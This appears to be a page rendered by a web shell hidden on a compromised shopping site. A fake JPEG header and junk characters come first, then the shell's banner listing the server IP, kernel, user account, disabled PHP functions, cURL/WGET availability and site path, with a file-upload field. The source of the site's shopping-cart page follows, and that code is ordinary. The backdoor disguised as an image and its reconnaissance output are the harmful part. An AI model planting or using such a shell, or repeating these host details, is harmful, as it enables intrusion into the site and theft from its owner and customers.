���� JFIF aewtgwgerwasdasd
Server IP : 147.93.80.58 / Your IP : 216.73.216.195 Web Server : LiteSpeed System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64 User : u939086737 ( 939086737) PHP Version : 8.2.28 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u939086737/domains/jeevikagaumaa.in/public_html/ |
Upload File : |
<?php session_start(); include './action/config.php'; ?> <!DOCTYPE html> <html lang="en" data-bs-theme="light"> <head> <!--required meta tags--> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <!--meta--> <meta name="description" content="Grostore Grocery eCommerce html template. Multivendor responsive eCommerce template"> <meta name="author" content="ThemeTags"> <meta name="keywords" content="Grostore Grocery ecommerce, admin template, online shop, e-commerce, ecommerce template, marketplace, modern, responsive, business, mobile, bootstrap, html5, css3, js, gallery, slider, touch, creative, clean"> <!--favicon icon--> <link rel="icon" href="assets/img/favicon.png" type="image/png" sizes="16x16"> <!--title--> <title><?= $shop['name'] ?></title> <link rel="stylesheet" href="assets/css/main.css"> </head> <body> <!--main content wrapper start--> <div class="main-wrapper"> <?php include './header.php'; ?> <!--breadcrumb section start--> <div class="gstore-breadcrumb position-relative z-1 overflow-hidden mt--50"> <img src="assets/img/shapes/bg-shape-6.png" alt="bg-shape" class="position-absolute start-0 z--1 w-100 bg-shape"> <img src="assets/img/shapes/pata-xs.svg" alt="pata" class="position-absolute pata-xs z--1 vector-shape"> <img src="assets/img/shapes/onion.png" alt="onion" class="position-absolute z--1 onion start-0 top-0 vector-shape"> <img src="assets/img/shapes/frame-circle.svg" alt="frame circle" class="position-absolute z--1 frame-circle vector-shape"> <img src="assets/img/shapes/leaf.svg" alt="leaf" class="position-absolute z--1 leaf vector-shape"> <img src="assets/img/shapes/garlic-white.png" alt="garlic" class="position-absolute z--1 garlic vector-shape"> <img src="assets/img/shapes/roll-1.png" alt="roll" class="position-absolute z--1 roll vector-shape"> <img src="assets/img/shapes/roll-2.png" alt="roll" class="position-absolute z--1 roll-2 vector-shape"> <img src="assets/img/shapes/pata-xs.svg" alt="roll" class="position-absolute z--1 pata-xs-2 vector-shape"> <img src="assets/img/shapes/tomato-half.svg" alt="tomato" class="position-absolute z--1 tomato-half vector-shape"> <img src="assets/img/shapes/tomato-slice.svg" alt="tomato" class="position-absolute z--1 tomato-slice vector-shape"> <img src="assets/img/shapes/cauliflower.png" alt="tomato" class="position-absolute z--1 cauliflower vector-shape"> <img src="assets/img/shapes/leaf-gray.png" alt="tomato" class="position-absolute z--1 leaf-gray vector-shape"> <div class="container"> <div class="row"> <div class="col-12"> <div class="breadcrumb-content"> <h2 class="mb-2 text-center">Shopping Cart</h2> <nav> <ol class="breadcrumb justify-content-center"> <li class="breadcrumb-item fw-bold" aria-current="page"><a href="index.html">Home</a></li> <li class="breadcrumb-item fw-bold" aria-current="page">Shop</li> <li class="breadcrumb-item fw-bold" aria-current="page">Cart</li> </ol> </nav> </div> </div> </div> </div> </div> <!--breadcrumb section end--> <!--cart section start--> <section class="cart-section ptb-120"> <div class="container"> <div class="rounded-2 overflow-hidden"> <table class="cart-table w-100 mt-4 bg-white"> <thead> <th>Image</th> <th>Product Name</th> <th>Price</th> <th>Quantity</th> <th>Price</th> <th>X</th> </thead> <tbody id="cart-table-body"> <!-- Cart items will be dynamically injected here --> </tbody> </table> </div> <div class="row g-4"> <div class="col-xl-7"> <div class="voucher-box py-7 px-5 position-relative z-1 overflow-hidden bg-white rounded mt-4"> <img src="assets/img/shapes/circle-half.png" alt="circle shape" class="position-absolute end-0 top-0 z--1"> <h4 class="mb-3">What would you like to do next?</h4> <p class="mb-7">Choose if you have a discount code or reward points you want to use<br> or would like to estimate your delivery cost.</p> <!-- <form class="d-flex align-items-center"> <input type="text" placeholder="Enter Your Voucher Code" class="theme-input w-100" required> <button type="submit" class="btn btn-secondary flex-shrink-0" >Apply Voucher</button> </form> --> </div> </div> <div class="col-xl-5"> <div class="cart-summery bg-white rounded-2 pt-4 pb-6 px-5 mt-4"> <table class="w-100"> <tr> <td class="py-3"> <h5 class="mb-0 fw-medium">Subtotal</h5> </td> <td class="py-3"> <h5 class="mb-0 fw-semibold text-end"><i class="fa fa-inr fa-xs"></i> <span id="cart-subtotal2">00</span></h5> </td> </tr> </table> <p class="mb-5 mt-2">Shipping options will be updated during checkout.</p> <div class="btns-group d-flex gap-3"> <a href="shop?p=1" class="btn btn-primary btn-md rounded-1">Continue Shopping</a> <a href="javascript:void" id="checkout-button" class="btn btn-outline-secondary border-secondary btn-md rounded-1">Proceed to Checkout</a> </div> </div> </div> </div> </div> </section> <!--cart section end--> <?php include './footer.php'; ?> <script> document.addEventListener('DOMContentLoaded', function() { const bestDealProducts = <?php echo json_encode($best_deal_products); ?>; function getCart() { return JSON.parse(localStorage.getItem('cart')) || {}; } function setCart(cart) { localStorage.setItem('cart', JSON.stringify(cart)); renderCartTable(); updateCartIcon(); renderMiniCart(); toggleCheckoutButton(); checkCheckoutEligibility(); } function removeFromCart(productId) { const cart = getCart(); delete cart[productId]; setCart(cart); } function changeQuantity(productId, change) { const cart = getCart(); if (cart[productId]) { if (bestDealProducts[productId]) { if (cart[productId].quantity + change <= bestDealProducts[productId].max_purchase_qty) { cart[productId].quantity += change; if (cart[productId].quantity <= 0) { delete cart[productId]; } } else { alert(`You can only purchase up to ${bestDealProducts[productId].max_purchase_qty} of this item.`); } } else { cart[productId].quantity += change; if (cart[productId].quantity <= 0) { delete cart[productId]; } } setCart(cart); } } function renderCartTable() { const cart = getCart(); const cartTableBody = document.getElementById('cart-table-body'); cartTableBody.innerHTML = ''; let subtotal = 0; Object.values(cart).forEach(item => { const itemTotalPrice = (item.price * item.quantity).toFixed(2); subtotal += parseFloat(itemTotalPrice); const itemRow = document.createElement('tr'); itemRow.innerHTML = ` <td> <img style="height:100px;" src="${item.img}" alt="product-thumb" class="img-fluid"> </td> <td class="text-start product-title"> <h6 class="mb-0">${item.name}</h6> </td> <td> <span class="text-dark fw-bold"><i class="fa fa-inr"></i> ${item.price.toFixed(2)}</span> </td> <td> <div class="product-qty d-inline-flex align-items-center"> <button class="decrease" data-product-id="${item.id}">-</button> <input type="text" value="${item.quantity}" readonly> <button class="increase" data-product-id="${item.id}">+</button> </div> </td> <td> <span class="text-dark fw-bold"><i class="fa fa-inr"></i> ${itemTotalPrice}</span> </td> <td> <a title="Remove" href="javascript:void(0)" class="remove" data-product-id="${item.id}"><i class="fa fa-trash-alt text-danger"></i></a> </td> `; cartTableBody.appendChild(itemRow); }); document.getElementById('cart-subtotal').innerText = subtotal.toFixed(2); document.getElementById('cart-subtotal2').innerText = subtotal.toFixed(2); } function updateCartIcon() { const cart = getCart(); let totalQuantity = 0; Object.values(cart).forEach(item => { totalQuantity += item.quantity; }); document.getElementById('cart-quantity').innerText = totalQuantity; document.getElementById('cart-quantity2').innerText = totalQuantity; } function renderMiniCart() { const cart = getCart(); const miniCartBody = document.querySelector('.apt_cart_box .at_scrollbar'); miniCartBody.innerHTML = ''; let subtotal = 0; Object.values(cart).forEach(item => { const itemTotalPrice = (item.price * item.quantity).toFixed(2); subtotal += parseFloat(itemTotalPrice); const itemElement = document.createElement('li'); itemElement.classList.add('d-flex', 'align-items-center'); itemElement.innerHTML = ` <div class="thumb-wrapper"> <a href="javascript:void"><img style="height:50px;" src="${item.img}" alt="products" class="img-fluid"></a> </div> <div class="items-content ms-3"> <a href="javascript:void"> <h6 class="mb-1">${item.name}</h6> </a> <div class="products_meta d-flex align-items-center"> <div> <span class="price text-primary fw-semibold">₹${item.price.toFixed(2)}</span> <span class="count">x ${item.quantity} = ₹${itemTotalPrice}</span> </div> <button class="remove_cart_btn" data-product-id="${item.id}"><i class="fa-solid fa-trash-can"></i></button> </div> </div> `; miniCartBody.appendChild(itemElement); }); const subtotalElement = document.querySelector('.apt_cart_box .subtotal'); if (subtotalElement) { subtotalElement.innerText = `₹${subtotal.toFixed(2)}`; } } // Event delegation for buttons within the cart table document.getElementById('cart-table-body').addEventListener('click', function(event) { if (event.target.closest('.remove')) { const productId = event.target.closest('.remove').dataset.productId; removeFromCart(productId); } if (event.target.closest('.increase')) { const productId = event.target.closest('.increase').dataset.productId; changeQuantity(productId, 1); } if (event.target.closest('.decrease')) { const productId = event.target.closest('.decrease').dataset.productId; changeQuantity(productId, -1); } }); // Event delegation for buttons within the mini cart document.querySelector('.apt_cart_box .at_scrollbar').addEventListener('click', function(event) { if (event.target.closest('.remove_cart_btn')) { const productId = event.target.closest('.remove_cart_btn').dataset.productId; removeFromCart(productId); } }); function toggleCheckoutButton() { const cart = getCart(); const checkoutButton = document.getElementById('checkout-button'); if (Object.keys(cart).length === 0) { checkoutButton.style.display = 'none'; } else { checkoutButton.style.display = 'block'; } } // New function to set subtotal in session function setSubtotalInSession(subtotal) { fetch('cart-subtotal.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'subtotal=' + encodeURIComponent(subtotal) }) .then(response => response.json()) .then(data => { if (data.status === 'success') { window.location.href = './checkout'; } else { console.error(data.message); } }) .catch(error => { console.error('Error:', error); }); } // Attach event listener to the checkout button document.getElementById('checkout-button').addEventListener('click', function(event) { event.preventDefault(); // Prevent default action const subtotal = parseFloat(document.getElementById('cart-subtotal2').innerText); setSubtotalInSession(subtotal); }); // Initial render renderCartTable(); updateCartIcon(); renderMiniCart(); toggleCheckoutButton(); }); </script> </body> </html>